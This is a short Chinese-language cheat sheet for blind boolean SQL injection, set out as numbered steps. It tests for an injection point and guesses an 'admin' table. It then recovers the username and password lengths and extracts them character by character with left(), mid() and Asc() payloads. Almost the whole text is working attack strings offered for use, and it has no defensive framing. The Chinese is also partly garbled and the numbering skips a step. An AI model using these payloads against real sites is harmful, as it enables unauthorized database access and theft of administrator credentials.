- 1. 判断有无注入点 ; and 1=1 and 1=2
- 2.猜表般表名称无非admin adminuser user pass
- password 等..
- and 0(select count(*) from *)
- and 0(select
- count(*) from admin) ---判断否存admin这张表
- 3.猜帐号数目 如果遇00)--
- and 1=(select
- count(*) from admin where len(户字段名称name)>0)
- and 1=(select count(*) from
- admin where len(密码字段名称password)>0)
- 5.猜解各个字段长度
- 猜解长度就>0变换 直返回确页面止
- and 1=(select count(*) from admin where
- len(*)>0)
- and 1=(select count(*) from admin where len(name)>6) 误
- and 1=(select count(*) from admin where len(name)>5) 确 长度6
- and
- 1=(select count(*) from admin where len(name)=6) 确
- and 1=(select
- count(*) from admin where len(password)>11) 确
- and 1=(select count(*)
- from admin where len(password)>12) 误 长度12
- and 1=(select count(*) from
- admin where len(password)=12) 确
- 6.猜解字符
- and 1=(select count(*) from
- admin where left(name,1)=a) ---猜解户帐号第位
- and 1= (select count(*) from admin
- where left(name,2)=ab)---猜解户帐号第二位
- 就这样次加个字符这样猜,猜够刚才猜出少位就,帐号就算出
- and 1=(select top 1 count(*) from Admin where Asc(mid (pass,5,1))=51) --
- 这个查询语句以猜解文户密码.只面数字换成文ASSIC码就OK.最结果再转换成字符.
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